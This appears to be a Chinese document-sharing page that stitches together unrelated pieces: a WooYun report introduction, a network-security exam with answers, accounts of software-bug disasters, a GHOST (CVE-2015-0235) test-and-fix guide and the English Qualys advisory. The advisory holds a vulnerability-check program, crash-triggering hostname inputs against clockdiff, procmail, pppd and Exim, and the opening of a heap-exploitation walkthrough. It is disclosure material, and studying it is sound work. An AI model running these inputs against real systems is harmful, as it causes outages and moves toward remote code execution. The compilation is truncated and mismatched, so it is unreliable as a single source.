幽灵漏洞(GHOST)影响大量Linux系统及其发行版
乌云漏洞报告
乌云漏洞报告1. 引言1.1 漏洞报告背景及意义在信息技术飞速发展的今天,网络安全问题日益凸显。
网络攻击手段不断升级,漏洞挖掘与防范成为网络安全领域的重要课题。
漏洞报告是对网络系统中存在的安全缺陷进行详细描述和分析的文档,对于发现和修复漏洞、提高网络安全具有重要意义。
1.2 乌云平台简介乌云网(Wooyun)是我国著名的白帽子安全研究平台,致力于为企业和个人提供安全漏洞的收集、整理、发布和修复服务。
乌云平台为广大白帽子提供了漏洞挖掘、提交和学习的空间,同时也为企业和政府机构提供了及时了解和修复安全漏洞的渠道。
1.3 报告目的与结构安排本报告旨在通过对乌云平台上漏洞的分析,揭示当前网络安全漏洞的现状、危害及防范策略,为企业和个人提供有益的参考。
报告共分为五个部分,分别为:引言、乌云漏洞概述、乌云漏洞案例分析、乌云漏洞防范策略与建议以及结论。
接下来,我们将从漏洞的基本信息、技术分析、案例分析等多个方面展开论述。
2. 乌云漏洞概述2.1 漏洞基本信息2.1.1 漏洞编号与分类乌云漏洞报告中所涉及的漏洞均被赋予唯一的编号,以方便追踪和管理。
这些漏洞按照其技术特点和行为模式,被归类到不同的类型中,如SQL注入、跨站脚本(XSS)、文件上传漏洞等。
2.1.2 影响范围与危害程度每个漏洞的影响范围和危害程度不同。
一些漏洞可能仅影响特定应用或系统的一部分,而另一些则可能导致整个系统的服务中断或数据泄露。
在乌云平台上,漏洞的危害程度按照CVSS(通用漏洞评分系统)标准进行评估,为用户提供了清晰的风险评估。
2.2 漏洞技术分析2.2.1 漏洞原理与复现步骤对于每个漏洞,技术分析是理解其工作原理的关键。
分析人员会详细描述漏洞的技术细节,并给出复现步骤,帮助安全研究人员和开发者理解如何触发和利用这些漏洞。
2.2.2 漏洞利用与防御措施技术分析中同样重要的是如何利用这些漏洞以及采取何种措施进行防御。
乌云平台提供的报告中,会包括对已知漏洞利用技术的分析,并提出相应的防御策略,如输入验证、访问控制、编码实践等,以帮助用户减少安全风险。
网络安全管理员模拟试题+答案
网络安全管理员模拟试题+答案一、单选题(共100题,每题1分,共100分)1、依据冯.诺依曼机制,硬件由五大部分组成,以下不属于其具体组成的是( )。
A、运算器B、存储器C、监视器D、控制器正确答案:C2、以下关于 SQL 语句“INSERT INTO Persons (Name,Address) VALUES ('王伟','成都')”描述错误的是:( )A、Persons 是表名称B、name 是 Persons 表中的列名称C、insert into 是更新 Persons 的相应字段D、Values 用于需要插入的对应字段值正确答案:C3、Linux 系统中的日志子系统对于系统安全来说非常重要,日志的主要功能是( )A、追踪B、查错C、记录D、审计和监测正确答案:D4、办事公道要求做到( )。
A、坚持原则,秉公办事B、公平交易,实行平均主义C、一心为公,不计较他人得失D、办事以本单位利益为重正确答案:A5、以下 Linux 处理目录的常用命令,描述有误的是( )。
A、cd (英文全拼: change directory):切换目录。
B、cp (英文全拼: copy file) : 复制文件或目录。
C、lf (英文全拼: list files) : 列出目录及文件名。
D、rmdir (英文全拼:remove directory):删除一个空的目录。
正确答案:C6、下列哪一个是国家推荐标准( )A、GB/T 18020-1999B、SJ/T 30003-93C、ISO/IEC15408D、GA 243-2000正确答案:A7、《刑法》第六章第 285.286,287 条对计算机犯罪的内容和量刑进行了明确的规定,以下哪一项不是其中规定的罪行? ( )A、国家重要信息系统管理者玩忽职守罪B、非法侵入计算机信息系统罪C、破坏计算机信息系统罪D、利用计算机实施犯罪正确答案:A8、一个完整的安全体系结构包括( )。
严重的软件BUG导致的重大事故
严重的软件BUG导致的重大事故1962年7月28日,Mariner I空间探测器事件Mariner 1航空软件的bug导致火箭在发射时偏离了其的预期轨道。
任务控制器在大西洋上空将整个火箭摧毁。
在对这起事故进行调查中发现,使用铅笔撰写下的一个公式被不正确的录入到计算机代码中,直接导致计算机错误的计算了火箭的运行轨道。
Mariner I发射现场1982年—苏联的石油管道事件根据CIA(美国中央情报局)的陈述,为其工作的间谍们在苏联购买的用来控制跨西伯利亚石油管道的加拿大计算机系统中种下了一个bug。
当时是苏联通过秘密购买或者偷窃美国的敏感技术来获取到了该系统。
据说CIA发现了这个存在bug的程序,决定对可以通过苏联人检查的设备做一个让苏联人事与愿违的破坏,使得该设备一旦运行起来将会失败。
该事件的结果据说在历史上造成了最大的非原子破坏。
1985-1987年间-- Therac-25医疗加速器事件一个放射疗法的设备故障造成了在几个医疗设备中发出了致命的射线。
Therac-25是一个在以前设计的基础上改进的治疗设备,该设备可能会发出两种射线:或者是一个低功耗的电子束或者是X射线。
Therac-25'的X射线是通过猛烈的高能电子束撞击到一块位于电子枪和患者之间的金属目标而产生的。
第二项改进是对于更旧的Therac-20'电动保险联动装置采取软件控制的方式代替,做这项改进是因为软件被认为更加可靠。
然而工程师所不知道的是20和25型号都是建立在有一个没有经过正规培训的程序员所开发的操作系统上的。
由于这个不易察觉的叫做"race condition,"的bug,一个快速的打字员很可能会很偶然的配置Therac-25从而导致电子束将会在高能模式下启动。
但是强烈的X射线偏移了目标。
最后直接导致了五名患者死亡;其余患者受到了严重伤害。
1988年--伯克莱UNIX操作系统f inger守护进程缓冲器溢出事件第一个网络蠕虫,莫里斯蠕虫利用缓冲器溢出在一天之内感染了2000到6000台计算机,起因是一个标准输入输出库函数gets(),原来设计为从网上获取一段文本,但遗憾的是,gets()函数没有规定输入文本的长度。
“幽灵漏洞”测试及处理方法
幽灵漏洞(CVE-2015-0235)1.漏洞说明1.1.漏洞原理glibc是GNU发布的libc库,即c运行库,在glibc库中的__nss_hostname_digits_dots()函数存在一个缓冲区溢出的漏洞,这个漏洞可以经过gethostbyname*()函数被本地或者远程触发。
1.2.漏洞危害攻击者可以利用该漏洞执行指令,控制存在漏洞的系统。
1.3.漏洞利用条件(攻击者成功利用漏洞必要条件)1、存在漏洞系统中存在使用gethostbyname*() 函数的程序2、程序必须能接收攻击者发送的数据,并且将数据作为gethostbyname*()的参数3、攻击者发送的攻击数据(亦作:payload,载荷)必须符合特定条件,如下:a)Payload 首字符必须为数字b)Payload最后字符不能为点号c)Payload中只能包含数字和点号d)Payload必须符合ipv4或者ipv6的地址格式e)Payload必须足够长,具体长度需要攻击者不断尝试来确定影响范围1、该漏洞影响使用GNU libc库版本2.2-2.17的Linux操作系统2、影响的操作系统类型包括:CentOS 6 & 7Debian 7Red Hat Enterprise Linux 6 & 7Ubuntu 10.04 & 12.04各Linux发行版2.验证方法第一、将漏洞验证代码代码保存成ghost.c文件并且上传到要验证的linux主机中第二、使用gccghost.c –o testghost指令编译,会生成testghost第三、使用./testghost执行漏洞测试程序,如果程序输出vulnerable则说明存在漏洞2.1.漏洞验证代码ghost.c:3.修复方法执行GNUlibc升级命令,将linux中的libc升级到最新版本,另外在升级完libc后需要重启系统。
1、针对RH、Fedora、CentOS系统执行yum install glibc&& reboot 更新GNUlibc2、针对Debian、Ubuntu系统执行apt-get clean && apt-get update && apt-get upgrade 更新GNUlibc。
雅虎恶意软件统计显示Linux比Windows系统更安全
雅虎恶意软件统计显示Linux比Windows系统更安全
微软Windows用户可能听说Linux系统更安全,不过很难证明这以事实,除非您碰巧遇到了雅虎的恶意软件。
据透露,目前英国、法国等的欧洲用户被广告中的恶意软件感染,虽然雅虎删除了这个问题,不过仍有许多用户受到了影响。
而受到影响的用户都是Windows用户,这似乎说明了Linux的安全更好一些,恶意软件几乎不可能通过Java脚本感染Linux操作系统。
除此之外,许多Linux基本不使用官方Java版本,不过开放资源版本显示Linux 操作系统使用非常困难。
/news/102552.html。
CVE-2015-0235 - GHOST_ glibc Linux ghost幽灵漏洞详解英文版
Products Services Publications Community Resources What's newOpenwall GNU/*/Linux - a small security-enhanced Linux distro for servers Array [<prev][next>][thread-next>][day][month][year][list]Date: Tue, 27 Jan 2015 08:29:36 -0800From: Qualys Security Advisory <qsa@>To: oss-security@Subject: Qualys Security Advisory CVE-2015-0235 - GHOST: glibc gethostbynamebuffer overflowQualys Security Advisory CVE-2015-0235GHOST: glibc gethostbyname buffer overflow--[ Contents ]----------------------------------------------------------------1 - Summary2 - Analysis3 - Mitigating factors4 - Case studies5 - Exploitation6 - Acknowledgments--[ 1 - Summary ]-------------------------------------------------------------During a code audit performed internally at Qualys, we discovered abuffer overflow in the __nss_hostname_digits_dots() function of the GNUC Library (glibc). This bug is reachable both locally and remotely viathe gethostbyname*() functions, so we decided to analyze it -- and itsimpact -- thoroughly, and named this vulnerability "GHOST".Our main conclusions are:- Via gethostbyname() or gethostbyname2(), the overflowed buffer islocated in the heap. Via gethostbyname_r() or gethostbyname2_r(), theoverflowed buffer is caller-supplied (and may therefore be located inthe heap, stack, .data, .bss, etc; however, we have seen no such callin practice).- At most sizeof(char *) bytes can be overwritten (ie, 4 bytes on 32-bitmachines, and 8 bytes on 64-bit machines). Bytes can be overwrittenonly with digits ('0'...'9'), dots ('.'), and a terminating nullcharacter ('\0').- Despite these limitations, arbitrary code execution can be achieved.As a proof of concept, we developed a full-fledged remote exploitagainst the Exim mail server, bypassing all existing protections(ASLR, PIE, and NX) on both 32-bit and 64-bit machines. We willpublish our exploit as a Metasploit module in the near future.- The first vulnerable version of the GNU C Library is glibc-2.2,released on November 10, 2000.- We identified a number of factors that mitigate the impact of thisbug. In particular, we discovered that it was fixed on May 21, 2013(between the releases of glibc-2.17 and glibc-2.18). Unfortunately, itwas not recognized as a security threat; as a result, most stable andlong-term-support distributions were left exposed (and still are):Debian 7 (wheezy), Red Hat Enterprise Linux 6 & 7, CentOS 6 & 7,Ubuntu 12.04, for example.--[ 2 - Analysis ]------------------------------------------------------------The vulnerable function, __nss_hostname_digits_dots(), is calledinternally by the glibc in nss/getXXbyYY.c (the non-reentrant version)and nss/getXXbyYY_r.c (the reentrant version). However, the calls aresurrounded by #ifdef HANDLE_DIGITS_DOTS, a macro defined only in:- inet/gethstbynm.c- inet/gethstbynm2.c- inet/gethstbynm_r.c- inet/gethstbynm2_r.c- nscd/gethstbynm3_r.cThese files implement the gethostbyname*() family, and hence the onlyway to reach __nss_hostname_digits_dots() and its buffer overflow. Thepurpose of this function is to avoid expensive DNS lookups if thehostname argument is already an IPv4 or IPv6 address.The code below comes from glibc-2.17:35 int36 __nss_hostname_digits_dots (const char *name, struct hostent *resbuf,37 char **buffer, size_t *buffer_size,38 size_t buflen, struct hostent **result,39 enum nss_status *status, int af, int *h_errnop)40 {..57 if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':')58 {59 const char *cp;60 char *hostname;61 typedef unsigned char host_addr_t[16];62 host_addr_t *host_addr;63 typedef char *host_addr_list_t[2];64 host_addr_list_t *h_addr_ptrs;65 char **h_alias_ptr;66 size_t size_needed;..85 size_needed = (sizeof (*host_addr)86 + sizeof (*h_addr_ptrs) + strlen (name) + 1);8788 if (buffer_size == NULL)89 {90 if (buflen < size_needed)91 {..95 goto done;96 }97 }98 else if (buffer_size != NULL && *buffer_size < size_needed)99 {100 char *new_buf;101 *buffer_size = size_needed;102 new_buf = (char *) realloc (*buffer, *buffer_size);103104 if (new_buf == NULL)105 {...114 goto done;115 }116 *buffer = new_buf;117 }...121 host_addr = (host_addr_t *) *buffer;122 h_addr_ptrs = (host_addr_list_t *)123 ((char *) host_addr + sizeof (*host_addr));124 h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs)); 125 hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);126127 if (isdigit (name[0]))128 {129 for (cp = name;; ++cp)130 {131 if (*cp == '\0')132 {133 int ok;134135 if (*--cp == '.')136 break;...142 if (af == AF_INET)143 ok = __inet_aton (name, (struct in_addr *) host_addr); 144 else145 {146 assert (af == AF_INET6);147 ok = inet_pton (af, name, host_addr) > 0;148 }149 if (! ok)150 {...154 goto done;155 }156157 resbuf->h_name = strcpy (hostname, name);...194 goto done;195 }196197 if (!isdigit (*cp) && *cp != '.')198 break;199 }200 }...Lines 85-86 compute the size_needed to store three (3) distinct entitiesin buffer: host_addr, h_addr_ptrs, and name (the hostname). Lines 88-117make sure the buffer is large enough: lines 88-97 correspond to thereentrant case, lines 98-117 to the non-reentrant case.Lines 121-125 prepare pointers to store four (4) distinct entities inbuffer: host_addr, h_addr_ptrs, h_alias_ptr, and hostname. The sizeof(*h_alias_ptr) -- the size of a char pointer -- is missing from the computation of size_needed.The strcpy() on line 157 should therefore allow us to write past the endof buffer, at most (depending on strlen(name) and alignment) 4 bytes on32-bit machines, or 8 bytes on 64-bit machines. There is a similarstrcpy() after line 200, but no buffer overflow:236 size_needed = (sizeof (*host_addr)237 + sizeof (*h_addr_ptrs) + strlen (name) + 1); ...267 host_addr = (host_addr_t *) *buffer;268 h_addr_ptrs = (host_addr_list_t *)269 ((char *) host_addr + sizeof (*host_addr));270 hostname = (char *) h_addr_ptrs + sizeof (*h_addr_ptrs);...289 resbuf->h_name = strcpy (hostname, name);In order to reach the overflow at line 157, the hostname argument mustmeet the following requirements:- Its first character must be a digit (line 127).- Its last character must not be a dot (line 135).- It must comprise only digits and dots (line 197) (we call this the"digits-and-dots" requirement).- It must be long enough to overflow the buffer. For example, thenon-reentrant gethostbyname*() functions initially allocate theirbuffer with a call to malloc(1024) (the "1-KB" requirement).- It must be successfully parsed as an IPv4 address by inet_aton() (line143), or as an IPv6 address by inet_pton() (line 147). Upon carefulanalysis of these two functions, we can further refine this"inet-aton" requirement:. It is impossible to successfully parse a "digits-and-dots" hostnameas an IPv6 address with inet_pton() (':' is forbidden). Hence it isimpossible to reach the overflow with calls to gethostbyname2() orgethostbyname2_r() if the address family argument is AF_INET6.. Conclusion: inet_aton() is the only option, and the hostname musthave one of the following forms: "a.b.c.d", "a.b.c", "a.b", or "a",where a, b, c, d must be unsigned integers, at most 0xfffffffful,converted successfully (ie, no integer overflow) by strtoul() indecimal or octal (but not hexadecimal, because 'x' and 'X' areforbidden).--[ 3 - Mitigating factors ]--------------------------------------------------The impact of this bug is reduced significantly by the followingreasons:- A patch already exists (since May 21, 2013), and has been applied andtested since glibc-2.18, released on August 12, 2013:[BZ #15014]* nss/getXXbyYY_r.c (INTERNAL (REENTRANT_NAME))[HANDLE_DIGITS_DOTS]: Set any_service when digits-dots parsing wassuccessful.* nss/digits_dots.c (__nss_hostname_digits_dots): Removeredundant variable declarations and reallocation of buffer whenparsing as IPv6 address. Always set NSS status when called fromreentrant functions. Use NETDB_INTERNAL instead of TRY_AGAIN whenbuffer too small. Correct computation of needed size.* nss/Makefile (tests): Add test-digits-dots.* nss/test-digits-dots.c: New test.- The gethostbyname*() functions are obsolete; with the advent of IPv6,recent applications use getaddrinfo() instead.- Many programs, especially SUID binaries reachable locally, usegethostbyname() if, and only if, a preliminary call to inet_aton()fails. However, a subsequent call must also succeed (the "inet-aton"requirement) in order to reach the overflow: this is impossible, andsuch programs are therefore safe.- Most of the other programs, especially servers reachable remotely, usegethostbyname() to perform forward-confirmed reverse DNS (FCrDNS, alsoknown as full-circle reverse DNS) checks. These programs are generallysafe, because the hostname passed to gethostbyname() has normally beenpre-validated by DNS software:. "a string of labels each containing up to 63 8-bit octets, separatedby dots, and with a maximum total of 255 octets." This makes itimpossible to satisfy the "1-KB" requirement.. Actually, glibc's DNS resolver can produce hostnames of up to(almost) 1025 characters (in case of bit-string labels, and specialor non-printable characters). But this introduces backslashes ('\\')and makes it impossible to satisfy the "digits-and-dots"requirement.--[ 4 - Case studies ]--------------------------------------------------------In this section, we will analyze real-world examples of programs thatcall the gethostbyname*() functions, but we first introduce a small testprogram that checks whether a system is vulnerable or not:[user@...ora-19 ~]$ cat > GHOST.c << EOF#include <netdb.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <errno.h>#define CANARY "in_the_coal_mine"struct {char buffer[1024];char canary[sizeof(CANARY)];} temp = { "buffer", CANARY };int main(void) {struct hostent resbuf;struct hostent *result;int herrno;int retval;/*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;char name[sizeof(temp.buffer)];memset(name, '0', len);name[len] = '\0';retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno); if (strcmp(temp.canary, CANARY) != 0) {puts("vulnerable");exit(EXIT_SUCCESS);}if (retval == ERANGE) {puts("not vulnerable");exit(EXIT_SUCCESS);}puts("should not happen");exit(EXIT_FAILURE);}EOF[user@...ora-19 ~]$ gcc GHOST.c -o GHOSTOn Fedora 19 (glibc-2.17):[user@...ora-19 ~]$ ./GHOSTvulnerableOn Fedora 20 (glibc-2.18):[user@...ora-20 ~]$ ./GHOSTnot vulnerable----[ 4.1 - The GNU C Library ]-----------------------------------------------The glibc itself contains a few calls to gethostbyname*() functions. In particular, getaddrinfo() calls gethostbyname2_r() if, but only if, afirst call to inet_aton() fails: in accordance with the "inet-aton" requirement, these internal calls are safe. For example,eglibc-2.13/sysdeps/posix/getaddrinfo.c:at->family = AF_UNSPEC;...if (__inet_aton (name, (struct in_addr *) at->addr) != 0){if (req->ai_family == AF_UNSPEC || req->ai_family == AF_INET)at->family = AF_INET;else if (req->ai_family == AF_INET6 && (req->ai_flags & AI_V4MAPPED)) {...at->family = AF_INET6;}elsereturn -EAI_ADDRFAMILY;...}...if (at->family == AF_UNSPEC && (req->ai_flags & AI_NUMERICHOST) == 0){...size_t tmpbuflen = 512;char *tmpbuf = alloca (tmpbuflen);...rc = __gethostbyname2_r (name, family, &th, tmpbuf,tmpbuflen, &h, &herrno);...}----[ 4.2 - mount.nfs ]-------------------------------------------------------Similarly, mount.nfs (a SUID-root binary) is not vulnerable:if (inet_aton(hostname, &addr->sin_addr))return 0;if ((hp = gethostbyname(hostname)) == NULL) {nfs_error(_("%s: can't get address for %s\n"),progname, hostname);return -1;}----[ 4.3 - mtr ]-------------------------------------------------------------mtr (another SUID-root binary) is not vulnerable either, because itcalls getaddrinfo() instead of gethostbyname*() functions on any modern(ie, IPv6-enabled) system:#ifdef ENABLE_IPV6/* gethostbyname2() is deprecated so we'll use getaddrinfo() instead. */...error = getaddrinfo( Hostname, NULL, &hints, &res );if ( error ) {if (error == EAI_SYSTEM)perror ("Failed to resolve host");elsefprintf (stderr, "Failed to resolve host: %s\n", gai_strerror(error)); exit( EXIT_FAILURE );}...#elsehost = gethostbyname(Hostname);if (host == NULL) {herror("mtr gethostbyname");exit(1);}...#endif----[ 4.4 - iputils ]---------------------------------------------------------------[ 4.4.1 - clockdiff ]---------------------------------------------------clockdiff is vulnerable in a straightforward manner:hp = gethostbyname(argv[1]);if (hp == NULL) {fprintf(stderr, "clockdiff: %s: host not found\n", argv[1]);exit(1);}[user@...ora-19-32b ~]$ ls -l /usr/sbin/clockdiff-rwxr-xr-x. 1 root root 15076 Feb 1 2013 /usr/sbin/clockdiff[user@...ora-19-32b ~]$ getcap /usr/sbin/clockdiff/usr/sbin/clockdiff = cap_net_raw+ep[user@...ora-19-32b ~]$ /usr/sbin/clockdiff `python -c "print '0' * $((0x10000-16*1-2*4-1-4))"`.Segmentation fault[user@...ora-19-32b ~]$ /usr/sbin/clockdiff `python -c "print '0' * $((0x20000-16*1-2*4-1-4))"`Segmentation fault[user@...ora-19-32b ~]$ dmesg...[202071.118929] clockdiff[3610]: segfault at b86711f4 ip b75de0c6 sp bfc191f0 error 6 in libc-2.17.so[b7567000+1b8000] [202086.144336] clockdiff[3618]: segfault at b90d0d24 ip b75bb0c6 sp bf8e9dc0 error 6 in libc-2.17.so[b7544000+1b8000] ------[ 4.4.2 - ping and arping ]---------------------------------------------ping and arping call gethostbyname() and gethostbyname2(), respectively,if and only if inet_aton() fails first. This time, however, there isanother function call in between (Fedora, for example, does defineUSE_IDN):--------[ 4.4.2.1 - ping ]----------------------------------------------------if (inet_aton(target, &whereto.sin_addr) == 1) {...} else {char *idn;#ifdef USE_IDNint rc;...rc = idna_to_ascii_lz(target, &idn, 0);if (rc != IDNA_SUCCESS) {fprintf(stderr, "ping: IDN encoding failed: %s\n", idna_strerror(rc));exit(2);}#elseidn = target;#endifhp = gethostbyname(idn);--------[ 4.4.2.2 - arping ]--------------------------------------------------if (inet_aton(target, &dst) != 1) {struct hostent *hp;char *idn = target;#ifdef USE_IDNint rc;rc = idna_to_ascii_lz(target, &idn, 0);if (rc != IDNA_SUCCESS) {fprintf(stderr, "arping: IDN encoding failed: %s\n", idna_strerror(rc));exit(2);}#endifhp = gethostbyname2(idn, AF_INET);--------[ 4.4.2.3 - Analysis ]------------------------------------------------If idna_to_ascii_lz() modifies the target hostname, the first call toinet_aton() could fail and the second call (internal to gethostbyname())could succeed. For example, idna_to_ascii_lz() transforms any Unicodedot-like character (0x3002, 0xFF0E, 0xFF61) into an ASCII dot (".").But it also restricts the length of a domain label to 63 characters:this makes it impossible to reach 1024 bytes (the "1-KB" requirement)with only 4 labels and 3 dots (the "inet-aton" requirement).Unless inet_aton() (actually, strtoul()) can be tricked into acceptingmore than 3 dots? Indeed, idna_to_ascii_lz() does not restrict the totallength of a domain name. glibc supports "thousands' grouping characters"(man 3 printf); for example, sscanf(str, "%'lu", &ul) yields 1000 whenprocessing any of the following input strings:- "1,000" in an English locale;- "1 000" in a French locale; and- "1.000" in a German or Spanish locale.strtoul() implements this "number grouping" too, but its use is limitedto internal glibc functions. Conclusion: more than 3 dots is impossible,and neither ping nor arping is vulnerable.----[ 4.5 - procmail ]--------------------------------------------------------procmail (a SUID-root and SGID-mail binary) is vulnerable through its"comsat/biff" feature:#define COMSAThost "localhost" /* where the biff/comsat daemon lives */...#define SERV_ADDRsep '@' /* when overriding in COMSAT=serv@...r */int setcomsat(chp)const char*chp;{ char*chad; ...chad=strchr(chp,SERV_ADDRsep); /* @ separator? */...if(chad)*chad++='\0'; /* split the specifier */if(!chad||!*chad) /* no host */#ifndef IP_localhost /* Is "localhost" preresolved? */chad=COMSAThost; /* nope, use default */#else /* IP_localhost */{ ...}else#endif /* IP_localhost */{ ...if(!(host=gethostbyname(chad))||!host->h_0addr_list)user@...ian-7-2-32b:~$ ls -l /usr/bin/procmail-rwsr-sr-x 1 root mail 83912 Jun 6 2012 /usr/bin/procmailuser@...ian-7-2-32b:~$ /usr/bin/procmail 'VERBOSE=on' 'COMSAT=@...ython -c "print '0' * $((0x500-16*1-2*4-1-4))"` < /dev/null...*** glibc detected *** /usr/bin/procmail: free(): invalid next size (normal): 0x0980de30 ***======= Backtrace: =========/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x70f01)[0xb76b2f01]/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x72768)[0xb76b4768]/lib/i386-linux-gnu/i686/cmov/libc.so.6(cfree+0x6d)[0xb76b781d]/usr/bin/procmail[0x80548ec]/lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xe6)[0xb7658e46]/usr/bin/procmail[0x804bb55]======= Memory map: ========...0980a000-0982b000 rw-p 00000000 00:00 0 [heap]...Aborteduser@...ian-7-2-32b:~$ _COMSAT_='COMSAT=@...ython -c "print '0' * $((0x500-16*1-2*4-1-4))"`user@...ian-7-2-32b:~$ /usr/bin/procmail "$_COMSAT_" "$_COMSAT_"1234 < /dev/nullSegmentation faultuser@...ian-7-2-32b:~$ /usr/bin/procmail "$_COMSAT_"12345670 "$_COMSAT_"123456701234 < /dev/nullSegmentation faultuser@...ian-7-2-32b:~$ dmesg...[211409.564917] procmail[4549]: segfault at c ip b768e5a4 sp bfcb53d8 error 4 in libc-2.13.so[b761c000+15c000] [211495.820710] procmail[4559]: segfault at b8cb290c ip b763c5a4 sp bf870c98 error 4 in libc-2.13.so[b75ca000+15c000] ----[ 4.6 - pppd ]------------------------------------------------------------pppd (yet another SUID-root binary) calls gethostbyname() if apreliminary call to inet_addr() (a simple wrapper around inet_aton())fails. "The inet_addr() function converts the Internet host address cpfrom IPv4 numbers-and-dots notation into binary data in network byteorder. If the input is invalid, INADDR_NONE (usually -1) is returned.Use of this function is problematic because -1 is a valid address(255.255.255.255)." A failure for inet_addr(), but a success forinet_aton(), and consequently a path to the buffer overflow.user@...ntu-12-04-32b:~$ ls -l /usr/sbin/pppd-rwsr-xr-- 1 root dip 273272 Feb 3 2011 /usr/sbin/pppduser@...ntu-12-04-32b:~$ iduid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)------[ 4.6.1 - ms-dns option ]-----------------------------------------------static intsetdnsaddr(argv)char **argv;{u_int32_t dns;struct hostent *hp;dns = inet_addr(*argv);if (dns == (u_int32_t) -1) {if ((hp = gethostbyname(*argv)) == NULL) {option_error("invalid address parameter '%s' for ms-dns option",*argv);return 0;}dns = *(u_int32_t *)hp->h_addr;}user@...ntu-12-04-32b:~$ /usr/sbin/pppd 'dryrun' 'ms-dns' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255'*** glibc detected *** /usr/sbin/pppd: free(): invalid next size (normal): 0x09c0f928 ***======= Backtrace: =========/lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb75e1ee2]/lib/i386-linux-gnu/libc.so.6(+0x65db5)[0xb75d1db5]/lib/i386-linux-gnu/libc.so.6(fopen+0x2b)[0xb75d1deb]/usr/sbin/pppd(options_from_file+0xa8)[0x8064948]/usr/sbin/pppd(options_for_tty+0xde)[0x8064d7e]/usr/sbin/pppd(tty_process_extra_options+0xa4)[0x806e1a4]/usr/sbin/pppd(main+0x1cf)[0x8050b2f]/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb75854d3]======= Memory map: ========...09c0c000-09c2d000 rw-p 00000000 00:00 0 [heap]...Aborted (core dumped)------[ 4.6.2 - ms-wins option ]----------------------------------------------static intsetwinsaddr(argv)char **argv;{u_int32_t wins;struct hostent *hp;wins = inet_addr(*argv);if (wins == (u_int32_t) -1) {if ((hp = gethostbyname(*argv)) == NULL) {option_error("invalid address parameter '%s' for ms-wins option",*argv);return 0;}wins = *(u_int32_t *)hp->h_addr;}user@...ntu-12-04-32b:~$ /usr/sbin/pppd 'dryrun' 'ms-wins' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255'*** glibc detected *** /usr/sbin/pppd: free(): invalid next size (normal): 0x08a64928 ***======= Backtrace: =========/lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb757aee2]/lib/i386-linux-gnu/libc.so.6(+0x65db5)[0xb756adb5]/lib/i386-linux-gnu/libc.so.6(fopen+0x2b)[0xb756adeb]/usr/sbin/pppd(options_from_file+0xa8)[0x8064948]/usr/sbin/pppd(options_for_tty+0xde)[0x8064d7e]/usr/sbin/pppd(tty_process_extra_options+0xa4)[0x806e1a4]/usr/sbin/pppd(main+0x1cf)[0x8050b2f]/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb751e4d3]======= Memory map: ========...08a61000-08a82000 rw-p 00000000 00:00 0 [heap]...Aborted (core dumped)------[ 4.6.3 - socket option ]-----------------------------------------------static intopen_socket(dest)char *dest;{char *sep, *endp = NULL;int sock, port = -1;u_int32_t host;struct hostent *hent;...sep = strchr(dest, ':');if (sep != NULL)port = strtol(sep+1, &endp, 10);if (port < 0 || endp == sep+1 || sep == dest) {error("Can't parse host:port for socket destination");return -1;}*sep = 0;host = inet_addr(dest);if (host == (u_int32_t) -1) {hent = gethostbyname(dest);if (hent == NULL) {error("%s: unknown host in socket option", dest);*sep = ':';return -1;}host = *(u_int32_t *)(hent->h_addr_list[0]);}user@...ntu-12-04-32b:~$ /usr/sbin/pppd 'socket' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255:1'user@...ntu-12-04-32b:~$ *** glibc detected *** /usr/sbin/pppd: malloc(): memory corruption: 0x09cce270 ***----[ 4.7 - Exim ]------------------------------------------------------------The Exim mail server is exploitable remotely if configured to performextra security checks on the HELO and EHLO commands ("helo_verify_hosts"or "helo_try_verify_hosts" option, or "verify = helo" ACL); we developeda reliable and fully-functional exploit that bypasses all existingprotections (ASLR, PIE, NX) on 32-bit and 64-bit machines.user@...ian-7-7-64b:~$ grep helo /var/lib/exim4/config.autogenerated | grep verifyhelo_verify_hosts = *user@...ian-7-7-64b:~$ python -c "print '0' * $((0x500-16*1-2*8-1-8))" 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 user@...ian-7-7-64b:~$ telnet 127.0.0.1 25Trying 127.0.0.1...Connected to 127.0.0.1.Escape character is '^]'.220 debian-7-7-64b ESMTP Exim 4.80 ...HELO 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Connection closed by foreign host.user@...ian-7-7-64b:~$ dmesg...[ 1715.842547] exim4[2562]: segfault at 7fabf1f0ecb8 ip 00007fabef31bd04 sp 00007fffb427d5b0 error 6 in libc-2.13.so[7fabef2a2000+182000]--[ 5 - Exploitation ]------------------------------------------------------------[ 5.1 - Code execution ]--------------------------------------------------In this section, we describe how we achieve remote code executionagainst the Exim SMTP mail server, bypassing the NX (No-eXecute)protection and glibc's malloc hardening.First, we overflow gethostbyname's heap-based buffer and partiallyoverwrite the size field of the next contiguous free chunk of memorywith a slightly larger size (we overwrite only 3 bytes of the sizefield; in any case, we cannot overflow more than 4 bytes on 32-bitmachines, or 8 bytes on 64-bit machines):|< malloc_chunk|-----|----------------------|---+--------------------|-----... | gethostbyname buffer |p|s|f|b|F|B| free chunk | ...-----|----------------------|---+--------------------|-----| X||------------------------->|overflowwhere:struct malloc_chunk {INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */struct malloc_chunk* fd; /* double links -- used only if free. */struct malloc_chunk* bk;/* Only used for large blocks: pointer to next larger size. */struct malloc_chunk* fd_nextsize; 